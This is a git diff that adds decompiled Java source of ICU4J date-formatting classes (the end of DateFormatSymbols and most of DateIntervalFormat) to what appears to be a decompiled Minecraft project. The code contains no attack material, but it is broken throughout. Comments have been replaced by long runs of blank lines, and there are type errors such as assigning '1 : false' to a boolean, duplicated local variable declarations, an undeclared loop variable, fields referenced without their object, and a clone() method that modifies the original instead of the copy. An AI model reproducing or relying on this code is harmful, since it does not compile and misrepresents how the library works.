+      leapMonthPatterns[3] = calData.get("monthPatterns", "stand-alone", "wide").get("leap").getString();
+      leapMonthPatterns[4] = calData.get("monthPatterns", "stand-alone", "abbreviated").get("leap").getString();
+      leapMonthPatterns[5] = calData.get("monthPatterns", "stand-alone", "narrow").get("leap").getString();
+      leapMonthPatterns[6] = calData.get("monthPatterns", "numeric", "all").get("leap").getString();
+    }
+    
+    ICUResourceBundle cyclicNameSetsBundle = null;
+    try {
+      cyclicNameSetsBundle = calData.get("cyclicNameSets");
+    }
+    catch (MissingResourceException e) {
+      cyclicNameSetsBundle = null;
+    }
+    if (cyclicNameSetsBundle != null) {
+      shortYearNames = calData.get("cyclicNameSets", "years", "format", "abbreviated").getStringArray();
+    }
+    
+    requestedLocale = desiredLocale;
+    
+    ICUResourceBundle rb = (ICUResourceBundle)UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", desiredLocale);
+    
+
+
+
+
+
+
+
+    localPatternChars = "GyMdkHmsSEDFwWahKzYeugAZvcLQqVUOXx";
+    
+
+    ULocale uloc = rb.getULocale();
+    setLocale(uloc, uloc);
+    
+    capitalization = new HashMap();
+    boolean[] noTransforms = new boolean[2];
+    noTransforms[0] = false;
+    noTransforms[1] = false;
+    CapitalizationContextUsage[] allUsages = CapitalizationContextUsage.values();
+    for (CapitalizationContextUsage usage : allUsages) {
+      capitalization.put(usage, noTransforms);
+    }
+    UResourceBundle contextTransformsBundle = null;
+    try {
+      contextTransformsBundle = rb.getWithFallback("contextTransforms");
+    }
+    catch (MissingResourceException e) {
+      contextTransformsBundle = null;
+    }
+    if (contextTransformsBundle != null) {
+      UResourceBundleIterator ctIterator = contextTransformsBundle.getIterator();
+      while (ctIterator.hasNext()) {
+        UResourceBundle contextTransformUsage = ctIterator.next();
+        int[] intVector = contextTransformUsage.getIntVector();
+        if (intVector.length >= 2) {
+          String usageKey = contextTransformUsage.getKey();
+          CapitalizationContextUsage usage = (CapitalizationContextUsage)contextUsageTypeMap.get(usageKey);
+          if (usage != null) {
+            boolean[] transforms = new boolean[2];
+            transforms[0] = (intVector[0] != 0 ? 1 : false);
+            transforms[1] = (intVector[1] != 0 ? 1 : false);
+            capitalization.put(usage, transforms);
+          }
+        }
+      }
+    }
+  }
+  
+  private static final boolean arrayOfArrayEquals(Object[][] aa1, Object[][] aa2) {
+    if (aa1 == aa2) {
+      return true;
+    }
+    if ((aa1 == null) || (aa2 == null)) {
+      return false;
+    }
+    if (aa1.length != aa2.length) {
+      return false;
+    }
+    boolean equal = true;
+    for (int i = 0; i < aa1.length; i++) {
+      equal = Utility.arrayEquals(aa1[i], aa2[i]);
+      if (!equal) {
+        break;
+      }
+    }
+    return equal;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private final String[] duplicate(String[] srcArray)
+  {
+    return (String[])srcArray.clone();
+  }
+  
+  private final String[][] duplicate(String[][] srcArray)
+  {
+    String[][] aCopy = new String[srcArray.length][];
+    for (int i = 0; i < srcArray.length; i++)
+      aCopy[i] = duplicate(srcArray[i]);
+    return aCopy;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public DateFormatSymbols(Calendar cal, Locale locale)
+  {
+    initializeData(ULocale.forLocale(locale), cal.getType());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public DateFormatSymbols(Calendar cal, ULocale locale)
+  {
+    initializeData(locale, cal.getType());
+  }
+  
+
+
+
+
+
+  public DateFormatSymbols(Class<? extends Calendar> calendarClass, Locale locale)
+  {
+    this(calendarClass, ULocale.forLocale(locale));
+  }
+  
+
+
+
+
+
+  public DateFormatSymbols(Class<? extends Calendar> calendarClass, ULocale locale)
+  {
+    String fullName = calendarClass.getName();
+    int lastDot = fullName.lastIndexOf('.');
+    String className = fullName.substring(lastDot + 1);
+    String calType = null;
+    for (String[] calClassInfo : CALENDAR_CLASSES) {
+      if (calClassInfo[0].equals(className)) {
+        calType = calClassInfo[1];
+        break;
+      }
+    }
+    if (calType == null) {
+      calType = className.replaceAll("Calendar", "").toLowerCase(Locale.ENGLISH);
+    }
+    
+    initializeData(locale, calType);
+  }
+  
+
+
+
+
+
+
+  public DateFormatSymbols(ResourceBundle bundle, Locale locale)
+  {
+    this(bundle, ULocale.forLocale(locale));
+  }
+  
+
+
+
+
+
+
+  public DateFormatSymbols(ResourceBundle bundle, ULocale locale)
+  {
+    initializeData(locale, new CalendarData((ICUResourceBundle)bundle, CalendarUtil.getCalendarType(locale)));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static ResourceBundle getDateFormatBundle(Class<? extends Calendar> calendarClass, Locale locale)
+    throws MissingResourceException
+  {
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static ResourceBundle getDateFormatBundle(Class<? extends Calendar> calendarClass, ULocale locale)
+    throws MissingResourceException
+  {
+    return null;
+  }
+  
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static ResourceBundle getDateFormatBundle(Calendar cal, Locale locale)
+    throws MissingResourceException
+  {
+    return null;
+  }
+  
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static ResourceBundle getDateFormatBundle(Calendar cal, ULocale locale)
+    throws MissingResourceException
+  {
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final ULocale getLocale(ULocale.Type type)
+  {
+    return type == ULocale.ACTUAL_LOCALE ? actualLocale : validLocale;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  final void setLocale(ULocale valid, ULocale actual)
+  {
+    if ((valid == null ? 1 : 0) != (actual == null ? 1 : 0))
+    {
+      throw new IllegalArgumentException();
+    }
+    
+
+
+    validLocale = valid;
+    actualLocale = actual;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void readObject(ObjectInputStream stream)
+    throws IOException, ClassNotFoundException
+  {
+    stream.defaultReadObject();
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/DateIntervalFormat.java b/src/minecraft/com/ibm/icu/text/DateIntervalFormat.java
new file mode 100644
index 0000000..f5df899
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/DateIntervalFormat.java
@@ -0,0 +1,1642 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.CalendarData;
+import com.ibm.icu.impl.ICUCache;
+import com.ibm.icu.impl.SimpleCache;
+import com.ibm.icu.util.Calendar;
+import com.ibm.icu.util.DateInterval;
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.ULocale.Category;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.text.FieldPosition;
+import java.text.ParsePosition;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.Locale;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DateIntervalFormat
+  extends UFormat
+{
+  private static final long serialVersionUID = 1L;
+  private DateIntervalFormat() {}
+  
+  static final class BestMatchInfo
+  {
+    final String bestMatchSkeleton;
+    final int bestMatchDistanceInfo;
+    
+    BestMatchInfo(String bestSkeleton, int difference)
+    {
+      bestMatchSkeleton = bestSkeleton;
+      bestMatchDistanceInfo = difference;
+    }
+  }
+  
+
+  private static final class SkeletonAndItsBestMatch
+  {
+    final String skeleton;
+    final String bestMatchSkeleton;
+    
+    SkeletonAndItsBestMatch(String skeleton, String bestMatch)
+    {
+      this.skeleton = skeleton;
+      bestMatchSkeleton = bestMatch;
+    }
+  }
+  
+
+
+  private static ICUCache<String, Map<String, DateIntervalInfo.PatternInfo>> LOCAL_PATTERN_CACHE = new SimpleCache();
+  
+
+
+
+  private DateIntervalInfo fInfo;
+  
+
+
+
+  private SimpleDateFormat fDateFormat;
+  
+
+
+
+  private Calendar fFromCalendar;
+  
+
+
+
+  private Calendar fToCalendar;
+  
+
+
+
+  private String fSkeleton = null;
+  
+
+
+
+
+  private boolean isDateIntervalInfoDefault;
+  
+
+
+
+  private transient Map<String, DateIntervalInfo.PatternInfo> fIntervalPatterns = null;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public DateIntervalFormat(String skeleton, DateIntervalInfo dtItvInfo, SimpleDateFormat simpleDateFormat)
+  {
+    fDateFormat = simpleDateFormat;
+    
+    dtItvInfo.freeze();
+    fSkeleton = skeleton;
+    fInfo = dtItvInfo;
+    isDateIntervalInfoDefault = false;
+    fFromCalendar = ((Calendar)fDateFormat.getCalendar().clone());
+    fToCalendar = ((Calendar)fDateFormat.getCalendar().clone());
+    initializePattern(null);
+  }
+  
+
+  private DateIntervalFormat(String skeleton, ULocale locale, SimpleDateFormat simpleDateFormat)
+  {
+    fDateFormat = simpleDateFormat;
+    fSkeleton = skeleton;
+    fInfo = new DateIntervalInfo(locale).freeze();
+    isDateIntervalInfoDefault = true;
+    fFromCalendar = ((Calendar)fDateFormat.getCalendar().clone());
+    fToCalendar = ((Calendar)fDateFormat.getCalendar().clone());
+    initializePattern(LOCAL_PATTERN_CACHE);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final DateIntervalFormat getInstance(String skeleton)
+  {
+    return getInstance(skeleton, ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final DateIntervalFormat getInstance(String skeleton, Locale locale)
+  {
+    return getInstance(skeleton, ULocale.forLocale(locale));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final DateIntervalFormat getInstance(String skeleton, ULocale locale)
+  {
+    DateTimePatternGenerator generator = DateTimePatternGenerator.getInstance(locale);
+    return new DateIntervalFormat(skeleton, locale, new SimpleDateFormat(generator.getBestPattern(skeleton), locale));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final DateIntervalFormat getInstance(String skeleton, DateIntervalInfo dtitvinf)
+  {
+    return getInstance(skeleton, ULocale.getDefault(ULocale.Category.FORMAT), dtitvinf);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final DateIntervalFormat getInstance(String skeleton, Locale locale, DateIntervalInfo dtitvinf)
+  {
+    return getInstance(skeleton, ULocale.forLocale(locale), dtitvinf);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final DateIntervalFormat getInstance(String skeleton, ULocale locale, DateIntervalInfo dtitvinf)
+  {
+    dtitvinf = (DateIntervalInfo)dtitvinf.clone();
+    DateTimePatternGenerator generator = DateTimePatternGenerator.getInstance(locale);
+    return new DateIntervalFormat(skeleton, dtitvinf, new SimpleDateFormat(generator.getBestPattern(skeleton), locale));
+  }
+  
+
+
+
+
+
+
+  public Object clone()
+  {
+    DateIntervalFormat other = (DateIntervalFormat)super.clone();
+    fDateFormat = ((SimpleDateFormat)fDateFormat.clone());
+    fInfo = ((DateIntervalInfo)fInfo.clone());
+    fFromCalendar = ((Calendar)fFromCalendar.clone());
+    fToCalendar = ((Calendar)fToCalendar.clone());
+    return other;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final StringBuffer format(Object obj, StringBuffer appendTo, FieldPosition fieldPosition)
+  {
+    if ((obj instanceof DateInterval)) {
+      return format((DateInterval)obj, appendTo, fieldPosition);
+    }
+    
+    throw new IllegalArgumentException("Cannot format given Object (" + obj.getClass().getName() + ") as a DateInterval");
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final StringBuffer format(DateInterval dtInterval, StringBuffer appendTo, FieldPosition fieldPosition)
+  {
+    fFromCalendar.setTimeInMillis(dtInterval.getFromDate());
+    fToCalendar.setTimeInMillis(dtInterval.getToDate());
+    return format(fFromCalendar, fToCalendar, appendTo, fieldPosition);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final StringBuffer format(Calendar fromCalendar, Calendar toCalendar, StringBuffer appendTo, FieldPosition pos)
+  {
+    if (!fromCalendar.isEquivalentTo(toCalendar)) {
+      throw new IllegalArgumentException("can not format on two different calendars");
+    }
+    
+
+    int field = -1;
+    
+    if (fromCalendar.get(0) != toCalendar.get(0)) {
+      field = 0;
+    } else if (fromCalendar.get(1) != toCalendar.get(1))
+    {
+      field = 1;
+    } else if (fromCalendar.get(2) != toCalendar.get(2))
+    {
+      field = 2;
+    } else if (fromCalendar.get(5) != toCalendar.get(5))
+    {
+      field = 5;
+    } else if (fromCalendar.get(9) != toCalendar.get(9))
+    {
+      field = 9;
+    } else if (fromCalendar.get(10) != toCalendar.get(10))
+    {
+      field = 10;
+    } else if (fromCalendar.get(12) != toCalendar.get(12))
+    {
+      field = 12;
+
+    }
+    else
+    {
+      return fDateFormat.format(fromCalendar, appendTo, pos);
+    }
+    
+
+    DateIntervalInfo.PatternInfo intervalPattern = (DateIntervalInfo.PatternInfo)fIntervalPatterns.get(DateIntervalInfo.CALENDAR_FIELD_TO_PATTERN_LETTER[field]);
+    
+
+    if (intervalPattern == null) {
+      if (fDateFormat.isFieldUnitIgnored(field))
+      {
+
+
+
+        return fDateFormat.format(fromCalendar, appendTo, pos);
+      }
+      
+      return fallbackFormat(fromCalendar, toCalendar, appendTo, pos);
+    }
+    
+
+
+
+    if (intervalPattern.getFirstPart() == null)
+    {
+      return fallbackFormat(fromCalendar, toCalendar, appendTo, pos, intervalPattern.getSecondPart());
+    }
+    Calendar secondCal;
+    Calendar firstCal;
+    Calendar secondCal;
+    if (intervalPattern.firstDateInPtnIsLaterDate()) {
+      Calendar firstCal = toCalendar;
+      secondCal = fromCalendar;
+    } else {
+      firstCal = fromCalendar;
+      secondCal = toCalendar;
+    }
+    
+
+    String originalPattern = fDateFormat.toPattern();
+    fDateFormat.applyPattern(intervalPattern.getFirstPart());
+    fDateFormat.format(firstCal, appendTo, pos);
+    if (intervalPattern.getSecondPart() != null) {
+      fDateFormat.applyPattern(intervalPattern.getSecondPart());
+      fDateFormat.format(secondCal, appendTo, pos);
+    }
+    fDateFormat.applyPattern(originalPattern);
+    return appendTo;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private final StringBuffer fallbackFormat(Calendar fromCalendar, Calendar toCalendar, StringBuffer appendTo, FieldPosition pos)
+  {
+    StringBuffer earlierDate = new StringBuffer(64);
+    earlierDate = fDateFormat.format(fromCalendar, earlierDate, pos);
+    StringBuffer laterDate = new StringBuffer(64);
+    laterDate = fDateFormat.format(toCalendar, laterDate, pos);
+    String fallbackPattern = fInfo.getFallbackIntervalPattern();
+    String fallback = MessageFormat.format(fallbackPattern, new Object[] { earlierDate.toString(), laterDate.toString() });
+    
+    appendTo.append(fallback);
+    return appendTo;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private final StringBuffer fallbackFormat(Calendar fromCalendar, Calendar toCalendar, StringBuffer appendTo, FieldPosition pos, String fullPattern)
+  {
+    String originalPattern = fDateFormat.toPattern();
+    fDateFormat.applyPattern(fullPattern);
+    fallbackFormat(fromCalendar, toCalendar, appendTo, pos);
+    fDateFormat.applyPattern(originalPattern);
+    return appendTo;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public Object parseObject(String source, ParsePosition parse_pos)
+  {
+    throw new UnsupportedOperationException("parsing is not supported");
+  }
+  
+
+
+
+
+
+
+
+  public DateIntervalInfo getDateIntervalInfo()
+  {
+    return (DateIntervalInfo)fInfo.clone();
+  }
+  
+
+
+
+
+
+
+
+
+  public void setDateIntervalInfo(DateIntervalInfo newItvPattern)
+  {
+    fInfo = ((DateIntervalInfo)newItvPattern.clone());
+    isDateIntervalInfoDefault = false;
+    fInfo.freeze();
+    if (fDateFormat != null) {
+      initializePattern(null);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public DateFormat getDateFormat()
+  {
+    return (DateFormat)fDateFormat.clone();
+  }
+  
+
+
+
+
+
+
+
+  private void initializePattern(ICUCache<String, Map<String, DateIntervalInfo.PatternInfo>> cache)
+  {
+    String fullPattern = fDateFormat.toPattern();
+    ULocale locale = fDateFormat.getLocale();
+    String key = null;
+    Map<String, DateIntervalInfo.PatternInfo> patterns = null;
+    if (cache != null) {
+      if (fSkeleton != null) {
+        key = locale.toString() + "+" + fullPattern + "+" + fSkeleton;
+      } else {
+        key = locale.toString() + "+" + fullPattern;
+      }
+      patterns = (Map)cache.get(key);
+    }
+    if (patterns == null) {
+      Map<String, DateIntervalInfo.PatternInfo> intervalPatterns = initializeIntervalPattern(fullPattern, locale);
+      patterns = Collections.unmodifiableMap(intervalPatterns);
+      if (cache != null) {
+        cache.put(key, patterns);
+      }
+    }
+    fIntervalPatterns = patterns;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private Map<String, DateIntervalInfo.PatternInfo> initializeIntervalPattern(String fullPattern, ULocale locale)
+  {
+    DateTimePatternGenerator dtpng = DateTimePatternGenerator.getInstance(locale);
+    if (fSkeleton == null)
+    {
+
+      fSkeleton = dtpng.getSkeleton(fullPattern);
+    }
+    String skeleton = fSkeleton;
+    
+    HashMap<String, DateIntervalInfo.PatternInfo> intervalPatterns = new HashMap();
+    
+
+
+
+    StringBuilder date = new StringBuilder(skeleton.length());
+    StringBuilder normalizedDate = new StringBuilder(skeleton.length());
+    StringBuilder time = new StringBuilder(skeleton.length());
+    StringBuilder normalizedTime = new StringBuilder(skeleton.length());
+    
+
+
+
+
+
+
+
+
+
+
+
+    getDateTimeSkeleton(skeleton, date, normalizedDate, time, normalizedTime);
+    
+
+    String dateSkeleton = date.toString();
+    String timeSkeleton = time.toString();
+    String normalizedDateSkeleton = normalizedDate.toString();
+    String normalizedTimeSkeleton = normalizedTime.toString();
+    
+    boolean found = genSeparateDateTimePtn(normalizedDateSkeleton, normalizedTimeSkeleton, intervalPatterns);
+    
+
+
+    if (!found)
+    {
+
+
+      if (time.length() != 0)
+      {
+
+
+        if (date.length() == 0)
+        {
+          timeSkeleton = "yMd" + timeSkeleton;
+          String pattern = dtpng.getBestPattern(timeSkeleton);
+          
+
+
+
+          DateIntervalInfo.PatternInfo ptn = new DateIntervalInfo.PatternInfo(null, pattern, fInfo.getDefaultOrder());
+          
+          intervalPatterns.put(DateIntervalInfo.CALENDAR_FIELD_TO_PATTERN_LETTER[5], ptn);
+          
+
+          intervalPatterns.put(DateIntervalInfo.CALENDAR_FIELD_TO_PATTERN_LETTER[2], ptn);
+          
+
+          intervalPatterns.put(DateIntervalInfo.CALENDAR_FIELD_TO_PATTERN_LETTER[1], ptn);
+        }
+      }
+      
+
+
+
+
+
+
+
+
+      return intervalPatterns;
+    }
+    
+    if (time.length() != 0)
+    {
+      if (date.length() == 0)
+      {
+
+
+
+
+
+
+
+
+
+
+
+        timeSkeleton = "yMd" + timeSkeleton;
+        String pattern = dtpng.getBestPattern(timeSkeleton);
+        
+
+
+
+        DateIntervalInfo.PatternInfo ptn = new DateIntervalInfo.PatternInfo(null, pattern, fInfo.getDefaultOrder());
+        
+        intervalPatterns.put(DateIntervalInfo.CALENDAR_FIELD_TO_PATTERN_LETTER[5], ptn);
+        
+        intervalPatterns.put(DateIntervalInfo.CALENDAR_FIELD_TO_PATTERN_LETTER[2], ptn);
+        
+        intervalPatterns.put(DateIntervalInfo.CALENDAR_FIELD_TO_PATTERN_LETTER[1], ptn);
+
+
+
+
+
+      }
+      else
+      {
+
+
+
+
+
+        if (!fieldExistsInSkeleton(5, dateSkeleton))
+        {
+          skeleton = DateIntervalInfo.CALENDAR_FIELD_TO_PATTERN_LETTER[5] + skeleton;
+          
+          genFallbackPattern(5, skeleton, intervalPatterns, dtpng);
+        }
+        if (!fieldExistsInSkeleton(2, dateSkeleton))
+        {
+          skeleton = DateIntervalInfo.CALENDAR_FIELD_TO_PATTERN_LETTER[2] + skeleton;
+          
+          genFallbackPattern(2, skeleton, intervalPatterns, dtpng);
+        }
+        if (!fieldExistsInSkeleton(1, dateSkeleton))
+        {
+          skeleton = DateIntervalInfo.CALENDAR_FIELD_TO_PATTERN_LETTER[1] + skeleton;
+          
+          genFallbackPattern(1, skeleton, intervalPatterns, dtpng);
+        }
+        
+
+
+
+
+
+
+
+
+        CalendarData calData = new CalendarData(locale, null);
+        String[] patterns = calData.getDateTimePatterns();
+        String datePattern = dtpng.getBestPattern(dateSkeleton);
+        concatSingleDate2TimeInterval(patterns[8], datePattern, 9, intervalPatterns);
+        concatSingleDate2TimeInterval(patterns[8], datePattern, 10, intervalPatterns);
+        concatSingleDate2TimeInterval(patterns[8], datePattern, 12, intervalPatterns);
+      }
+    }
+    return intervalPatterns;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private void genFallbackPattern(int field, String skeleton, Map<String, DateIntervalInfo.PatternInfo> intervalPatterns, DateTimePatternGenerator dtpng)
+  {
+    String pattern = dtpng.getBestPattern(skeleton);
+    
+
+
+
+    DateIntervalInfo.PatternInfo ptn = new DateIntervalInfo.PatternInfo(null, pattern, fInfo.getDefaultOrder());
+    
+    intervalPatterns.put(DateIntervalInfo.CALENDAR_FIELD_TO_PATTERN_LETTER[field], ptn);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static void getDateTimeSkeleton(String skeleton, StringBuilder dateSkeleton, StringBuilder normalizedDateSkeleton, StringBuilder timeSkeleton, StringBuilder normalizedTimeSkeleton)
+  {
+    int ECount = 0;
+    int dCount = 0;
+    int MCount = 0;
+    int yCount = 0;
+    int hCount = 0;
+    int HCount = 0;
+    int mCount = 0;
+    int vCount = 0;
+    int zCount = 0;
+    
+    for (int i = 0; i < skeleton.length(); i++) {
+      char ch = skeleton.charAt(i);
+      switch (ch) {
+      case 'E': 
+        dateSkeleton.append(ch);
+        ECount++;
+        break;
+      case 'd': 
+        dateSkeleton.append(ch);
+        dCount++;
+        break;
+      case 'M': 
+        dateSkeleton.append(ch);
+        MCount++;
+        break;
+      case 'y': 
+        dateSkeleton.append(ch);
+        yCount++;
+        break;
+      case 'D': 
+      case 'F': 
+      case 'G': 
+      case 'L': 
+      case 'Q': 
+      case 'W': 
+      case 'Y': 
+      case 'c': 
+      case 'e': 
+      case 'g': 
+      case 'l': 
+      case 'q': 
+      case 'u': 
+      case 'w': 
+        normalizedDateSkeleton.append(ch);
+        dateSkeleton.append(ch);
+        break;
+      
+      case 'a': 
+        timeSkeleton.append(ch);
+        break;
+      case 'h': 
+        timeSkeleton.append(ch);
+        hCount++;
+        break;
+      case 'H': 
+        timeSkeleton.append(ch);
+        HCount++;
+        break;
+      case 'm': 
+        timeSkeleton.append(ch);
+        mCount++;
+        break;
+      case 'z': 
+        zCount++;
+        timeSkeleton.append(ch);
+        break;
+      case 'v': 
+        vCount++;
+        timeSkeleton.append(ch);
+        break;
+      case 'A': 
+      case 'K': 
+      case 'S': 
+      case 'V': 
+      case 'Z': 
+      case 'j': 
+      case 'k': 
+      case 's': 
+        timeSkeleton.append(ch);
+        normalizedTimeSkeleton.append(ch);
+      }
+      
+    }
+    
+
+    if (yCount != 0) {
+      normalizedDateSkeleton.append('y');
+    }
+    if (MCount != 0) {
+      if (MCount < 3) {
+        normalizedDateSkeleton.append('M');
+      } else {
+        for (i = 0; (i < MCount) && (i < 5); i++) {
+          normalizedDateSkeleton.append('M');
+        }
+      }
+    }
+    if (ECount != 0) {
+      if (ECount <= 3) {
+        normalizedDateSkeleton.append('E');
+      } else {
+        for (i = 0; (i < ECount) && (i < 5); i++) {
+          normalizedDateSkeleton.append('E');
+        }
+      }
+    }
+    if (dCount != 0) {
+      normalizedDateSkeleton.append('d');
+    }
+    
+
+    if (HCount != 0) {
+      normalizedTimeSkeleton.append('H');
+    }
+    else if (hCount != 0) {
+      normalizedTimeSkeleton.append('h');
+    }
+    if (mCount != 0) {
+      normalizedTimeSkeleton.append('m');
+    }
+    if (zCount != 0) {
+      normalizedTimeSkeleton.append('z');
+    }
+    if (vCount != 0) {
+      normalizedTimeSkeleton.append('v');
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private boolean genSeparateDateTimePtn(String dateSkeleton, String timeSkeleton, Map<String, DateIntervalInfo.PatternInfo> intervalPatterns)
+  {
+    String skeleton;
+    
+
+
+
+
+
+
+
+
+
+    String skeleton;
+    
+
+
+
+
+
+
+
+
+
+    if (timeSkeleton.length() != 0) {
+      skeleton = timeSkeleton;
+    } else {
+      skeleton = dateSkeleton;
+    }
+    
+
+
+
+
+
+
+
+
+
+    BestMatchInfo retValue = fInfo.getBestSkeleton(skeleton);
+    String bestSkeleton = bestMatchSkeleton;
+    int differenceInfo = bestMatchDistanceInfo;
+    
+
+
+
+
+
+    if (differenceInfo == -1)
+    {
+      return false;
+    }
+    
+    if (timeSkeleton.length() == 0)
+    {
+      genIntervalPattern(5, skeleton, bestSkeleton, differenceInfo, intervalPatterns);
+      SkeletonAndItsBestMatch skeletons = genIntervalPattern(2, skeleton, bestSkeleton, differenceInfo, intervalPatterns);
+      
+
+
+      if (skeletons != null) {
+        bestSkeleton = skeleton;
+        skeleton = bestMatchSkeleton;
+      }
+      genIntervalPattern(1, skeleton, bestSkeleton, differenceInfo, intervalPatterns);
+    } else {
+      genIntervalPattern(12, skeleton, bestSkeleton, differenceInfo, intervalPatterns);
+      genIntervalPattern(10, skeleton, bestSkeleton, differenceInfo, intervalPatterns);
+      genIntervalPattern(9, skeleton, bestSkeleton, differenceInfo, intervalPatterns);
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private SkeletonAndItsBestMatch genIntervalPattern(int field, String skeleton, String bestSkeleton, int differenceInfo, Map<String, DateIntervalInfo.PatternInfo> intervalPatterns)
+  {
+    SkeletonAndItsBestMatch retValue = null;
+    DateIntervalInfo.PatternInfo pattern = fInfo.getIntervalPattern(bestSkeleton, field);
+    
+    if (pattern == null)
+    {
+      if (SimpleDateFormat.isFieldUnitIgnored(bestSkeleton, field)) {
+        DateIntervalInfo.PatternInfo ptnInfo = new DateIntervalInfo.PatternInfo(fDateFormat.toPattern(), null, fInfo.getDefaultOrder());
+        
+
+
+        intervalPatterns.put(DateIntervalInfo.CALENDAR_FIELD_TO_PATTERN_LETTER[field], ptnInfo);
+        
+        return null;
+      }
+      
+
+
+
+
+      if (field == 9) {
+        pattern = fInfo.getIntervalPattern(bestSkeleton, 10);
+        
+        if (pattern != null)
+        {
+          intervalPatterns.put(DateIntervalInfo.CALENDAR_FIELD_TO_PATTERN_LETTER[field], pattern);
+        }
+        
+
+        return null;
+      }
+      
+
+
+
+
+
+      String fieldLetter = DateIntervalInfo.CALENDAR_FIELD_TO_PATTERN_LETTER[field];
+      
+      bestSkeleton = fieldLetter + bestSkeleton;
+      skeleton = fieldLetter + skeleton;
+      
+
+      pattern = fInfo.getIntervalPattern(bestSkeleton, field);
+      if ((pattern == null) && (differenceInfo == 0))
+      {
+
+        BestMatchInfo tmpRetValue = fInfo.getBestSkeleton(skeleton);
+        String tmpBestSkeleton = bestMatchSkeleton;
+        differenceInfo = bestMatchDistanceInfo;
+        if ((tmpBestSkeleton.length() != 0) && (differenceInfo != -1)) {
+          pattern = fInfo.getIntervalPattern(tmpBestSkeleton, field);
+          bestSkeleton = tmpBestSkeleton;
+        }
+      }
+      if (pattern != null) {
+        retValue = new SkeletonAndItsBestMatch(skeleton, bestSkeleton);
+      }
+    }
+    if (pattern != null) {
+      if (differenceInfo != 0) {
+        String part1 = adjustFieldWidth(skeleton, bestSkeleton, pattern.getFirstPart(), differenceInfo);
+        
+        String part2 = adjustFieldWidth(skeleton, bestSkeleton, pattern.getSecondPart(), differenceInfo);
+        
+        pattern = new DateIntervalInfo.PatternInfo(part1, part2, pattern.firstDateInPtnIsLaterDate());
+      }
+      
